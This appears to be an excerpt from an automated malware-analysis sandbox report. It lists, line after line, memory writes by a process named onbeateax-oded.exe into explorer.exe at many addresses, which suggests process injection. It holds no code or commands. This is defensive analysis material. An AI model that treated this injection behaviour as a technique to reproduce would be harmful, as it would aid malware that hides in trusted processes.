Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ACA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ACB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B2B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B2C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B2D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B2E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B2F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B300000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B310000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B320000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B330000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B340000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B350000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B360000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B370000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B380000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B390000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B3A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BAC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BAD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BAE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BAF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BB00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BB10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BB20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BB30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BF90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BFA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: BFB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E380000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E390000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E3F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E400000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E410000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E420000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E430000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E440000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E450000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E460000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E470000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E480000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E490000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E4F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E500000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E510000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E520000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E530000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E540000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E550000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E560000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E570000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E780000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E790000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E7B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EAC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EAD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EAE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EAF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EB90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EBF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EC90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ECF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ED00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ED10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ED20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: ED30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EE90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EEA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EEB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EEC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EED0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EEE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EEF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EF00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EF10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EF20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: EF30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F040000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F050000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F060000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F080000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F090000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F1F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F200000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F210000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F220000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F230000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F240000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F250000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F260000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F270000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F280000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F290000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F2F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F300000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F310000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F320000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F330000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F340000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F350000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F360000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F370000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F380000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: F390000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10460000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10470000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10480000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10490000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 104F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10500000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10510000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10520000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10530000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10540000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10550000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10560000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10570000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10580000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10590000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 105F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10600000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10610000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10620000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10630000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10640000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10650000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10660000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10670000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10680000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10690000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 106F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10700000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10710000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10720000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10730000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10740000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10750000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10760000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10770000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10780000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10790000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 107F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10800000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10810000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10820000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10830000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10840000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10850000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10860000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10870000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10880000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10890000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 108F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10900000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10910000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10920000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10930000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 10940000	Jump to behavior
